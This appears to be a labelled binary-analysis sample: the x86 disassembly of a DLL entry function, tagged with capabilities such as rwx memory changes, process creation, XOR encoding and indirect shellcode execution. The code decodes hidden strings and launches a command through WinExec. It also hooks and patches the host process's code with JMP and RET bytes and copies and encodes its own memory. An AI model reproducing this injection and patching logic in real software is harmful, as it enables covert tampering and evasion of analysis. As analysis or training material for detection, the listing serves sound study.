Function at 0x10009130
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2b4
mov eax, dword [0x10026018]
xor eax, esp
mov dword [esp + 0x2b0], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x100099df
lea eax, [esp + 0xa8]
push eax
push 0x104
mov dword [0x11183a78], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ebx, ebx
mov ecx, 0xdf
xor eax, eax
mov dl, byte [eax + 0x10020e94]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x40], dl
inc eax
and ecx, 0xff
cmp eax, 0x36
jb 0x10009183
lea eax, [esp + 0xa8]
push eax
lea ecx, [esp + 0x44]
push ecx
lea edx, [esp + 0x1b8]
push edx
mov byte [esp + 0x82], bl
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea eax, [esp + 0x44]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
lea ecx, [esp + 0x1b4]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea edx, [esp + 0xac]
push ebx
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea eax, [esp + 0x1b4]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp byte [0x4d1e69], 0xeb
jne 0x1000921a
call fcn.100162f0
mov ecx, 0x6a0932a7
lea eax, [esp + 0x38]
mov byte [0x11183ac7], 1
call fcn.10009e00
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
sete cl
xor eax, eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
cmp cl, bl
je 0x1000924e
call fcn.100041d0
lea ecx, [esp + 0x78]
push ecx
mov ebx, 0x10
mov eax, 0x400000
mov dword [esp + 0x7c], 0xc708c483
mov dword [esp + 0x80], 0xffffff05
mov dword [esp + 0x84], 0x46ff
mov dword [esp + 0x88], 0x68006a00
call fcn.100161f0
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
test eax, eax
je 0x100092e9
mov edx, dword [eax + 0x1f]
lea esi, [eax + 0x1e]
lea ebx, [esi + edx + 5]
lea eax, [ebx + 0xa]
mov dword [0x10026328], eax
mov ecx, dword [eax + 1]
lea edx, [eax + ecx + 5]
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push ebx
mov dword [0x10026328], edx
call edi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push eax
mov ecx, 0x10004260
sub ecx, ebx
push 5
sub ecx, 5
push ebx
mov byte [ebx], 0xe9
mov dword [ebx + 1], ecx
call edi
call fcn.10014410
jmp 0x1000930e
mov ecx, 0xef
xor eax, eax
mov dl, byte [eax + 0x10020ecc]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x78], dl
inc eax
and ecx, 0xff
cmp eax, 0x11
jb 0x100092f0
call fcn.100162f0
lea eax, [esp + 0x78]
push eax
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x7c], 0xffffffa1
mov dword [esp + 0x80], 0xffffffff
mov dword [esp + 0x84], 0xffff8b32
mov dword [esp + 0x88], 0xffffffff
mov dword [esp + 0x8c], 0x78ffffff
mov dword [esp + 0x90], 0x8bffff89
mov word [esp + 0x94], 0x8ff
mov byte [esp + 0x96], 0x51
call fcn.100161f0
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10009650
mov ecx, dword [eax + 1]
lea edx, [esp + 0x78]
mov byte [esp + 0x98], bl
push edx
mov ebx, 0x21
mov eax, 0x400000
mov dword [0x11183b14], ecx
mov dword [esp + 0x7c], 0xffffffa1
mov dword [esp + 0x80], 0xffff89ff
mov dword [esp + 0x84], 0x83ffffff
mov dword [esp + 0x88], 0xffffffff
mov dword [esp + 0x8c], 0xffff02ff
mov dword [esp + 0x90], 0xffffff83
mov dword [esp + 0x94], 0x7404ffff
mov dword [esp + 0x98], 0x6affebff
call fcn.100161f0
xor ebx, ebx
add esp, 4
mov dword [0x11183b18], eax
cmp eax, ebx
je 0x10009411
mov eax, dword [eax + 1]
mov dword [0x11183b18], eax
jmp 0x10009467
mov ecx, 0xba
xor eax, eax
jmp 0x10009420
mov dl, byte [eax + 0x10020ee0]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10009420
lea eax, [esp + 0x18]
push eax
push ebx
mov ecx, 0x10126528
mov byte [esp + 0x2f], bl
call fcn.1000b4e0
xor eax, eax
add esp, 8
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call fcn.100162f0
lea ecx, [esp + 0x78]
push ecx
mov ebx, 0x17
mov eax, 0x400000
mov dword [esp + 0x7c], 0x8e68
mov dword [esp + 0x80], 0xc16800
mov dword [esp + 0x84], 0xff8d0000
mov dword [esp + 0x88], 0xffffffff
mov dword [esp + 0x8c], 0xffffffe8
mov word [esp + 0x90], 0x6aff
mov byte [esp + 0x92], 2
call fcn.100161f0
mov esi, eax
add esp, 4
test esi, esi
je 0x10009624
lea edx, [esp + 0x78]
push edx
mov ebx, 0x1b
mov eax, 0x400000
mov dword [esp + 0x7c], 0xffffffa1
mov dword [esp + 0x80], 0xffffffff
mov dword [esp + 0x84], 0xffff8b32
mov dword [esp + 0x88], 0xffffffff
mov dword [esp + 0x8c], 0x78ffffff
mov dword [esp + 0x90], 0x8bffff89
mov word [esp + 0x94], 0x8ff
mov byte [esp + 0x96], 0x51
call fcn.100161f0
add esp, 4
mov dword [0x11183a6c], eax
test eax, eax
je 0x10009549
mov eax, dword [eax + 0xb]
mov dword [0x11183a6c], eax
jmp 0x1000956e
mov ecx, 0x67
xor eax, eax
mov dl, byte [eax + str.4__58]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x78], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10009550
call fcn.100162f0
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + eax + 0x57]
lea eax, [esi + eax + 0x4c]
lea ecx, [eax + ecx + 0xf]
mov dword [0x11183a64], ecx
add ecx, 0x2d
mov dword [0x11183a60], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x11183a60], ecx
mov edx, dword [eax + 0x26]
mov dword [0x11183a68], eax
lea eax, [eax + edx + 0x2a]
lea ecx, [eax + 8]
mov dword [0x10026338], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10026338], ecx
lea ecx, [eax + 0x21]
mov dword [0x1002632c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1002632c], ecx
lea ecx, [eax + 0x3a]
mov dword [0x10026330], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10026330], ecx
lea ecx, [eax + 0x42]
mov dword [0x10026334], ecx
mov edx, dword [ecx + 1]
mov dword [0x1053159c], eax
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x1002633c], eax
mov dword [0x10026334], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
mov dword [0x1002633c], eax
mov dword [0x11183b1c], 0x10004ba0
jmp 0x1000969e
mov ecx, 0x72
xor eax, eax
jmp 0x10009630
mov dl, byte [eax + 0x10020f04]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x78], dl
inc eax
and ecx, 0xff
cmp eax, 0x1b
jb 0x10009630
call fcn.100162f0
jmp 0x1000969e
mov ecx, 0x82
xor eax, eax
mov dl, byte [eax + 0x10020f20]
xor dl, cl
inc ecx
mov byte [esp + eax + 0x28], dl
inc eax
and ecx, 0xff
cmp eax, 0xf
jb 0x10009657
lea eax, [esp + 0x28]
push eax
push ebx
mov ecx, 0x10126528
mov byte [esp + 0x3f], bl
call fcn.1000b4e0
xor eax, eax
add esp, 8
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
call fcn.100162f0
lea ecx, [esp + 0x78]
push ecx
mov ebx, 0x30
mov eax, 0x400000
mov dword [esp + 0x7c], 0xffe8c88b
mov dword [esp + 0x80], 0xe8ffffff
mov dword [esp + 0x84], 0xffffffff
mov dword [esp + 0x88], 0xffffffe8
mov dword [esp + 0x8c], 0xffffe8ff
mov dword [esp + 0x90], 0xffe8ffff
mov dword [esp + 0x94], 0xe8ffffff
mov dword [esp + 0x98], 0xffffffff
mov dword [esp + 0x9c], 0xffffffe8
mov dword [esp + 0xa0], 0xffffe8ff
mov dword [esp + 0xa4], 0x1b0ffff
mov dword [esp + 0xa8], 0xc35de58b
call fcn.100161f0
add esp, 4
mov dword [0x10130f3c], eax
test eax, eax
je 0x1000978c
lea edx, [eax + 0x20]
lea esi, [eax + 0x1b]
mov eax, esi
mov dword [0x101314ec], eax
mov dword [0x10531590], edx
mov ecx, dword [eax + 1]
lea edx, [eax + ecx + 5]
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push esi
mov dword [0x101314ec], edx
call edi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push eax
mov ecx, 0x10004cf0
sub ecx, esi
push 5
sub ecx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], ecx
call edi
jmp 0x10009791
call fcn.100162f0
mov esi, dword [0x11183a64]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 0x76
push esi
call edi
push 0x76
push 0xc3
push esi
call sub.MSVCR100.dll_memset
mov eax, dword [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push eax
push 0x76
push esi
call edi
mov esi, dword [0x1053159c]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 0x1e0
push esi
call edi
push 0x1e0
push 0xc3
push esi
call sub.MSVCR100.dll_memset
mov eax, dword [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push eax
push 0x1e0
push esi
call edi
mov esi, dword [0x11183a68]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 0x33
push esi
call edi
push 0x33
push 0xc3
push esi
call sub.MSVCR100.dll_memset
mov eax, dword [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x10]
push edx
push eax
push 0x33
push esi
call edi
mov esi, dword [0x11183a68]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 5
push esi
call edi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ecx
mov edx, 0x10004950
sub edx, esi
push 5
sub edx, 5
push esi
mov byte [esi], 0xe9
mov dword [esi + 1], edx
call edi
push 0x400000
push 0
push 0x10131590
call sub.MSVCR100.dll_memset
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x400000
push 0x10131590
push 0x400000
call esi
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push eax
call edi
xor eax, eax
jmp 0x100098a0
mov dl, byte [eax + 0x10131590]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10131590], dl
inc eax
cmp eax, 0x400000
jb 0x100098a0
push 0xa0
push 0
push 0x101314f0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xa0
push 0x101314f0
push 0x10004950
call esi
push eax
call edi
xor eax, eax
jmp 0x100098f0
mov cl, byte [eax + 0x101314f0]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x101314f0], cl
inc eax
cmp eax, 0xa0
jb 0x100098f0
push 0x7c
push 0
push 0x10131470
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x7c
push 0x10131470
push fcn.10004360
call esi
push eax
call edi
xor eax, eax
mov dl, byte [eax + 0x10131470]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10131470], dl
inc eax
cmp eax, 0x7c
jb 0x10009930
push 0x52f
push 0
push 0x10130f40
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0x52f
push 0x10130f40
push fcn.100043e0
call esi
push eax
call edi
xor eax, eax
mov cl, byte [eax + 0x10130f40]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x10130f40], cl
inc eax
cmp eax, 0x52f
jb 0x10009974
push 0xc8
push 0
push 0x10130e70
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xc8
push 0x10130e70
push 0x1000e640
call esi
push eax
call edi
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10130e70]
sub dl, 0x10
xor dl, 0x77
mov byte [eax + 0x10130e70], dl
inc eax
cmp eax, 0xc8
jb 0x100099c0
call fcn.10011d20
mov ecx, dword [esp + 0x2bc]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10019646
mov esp, ebp
pop ebp
ret 0xc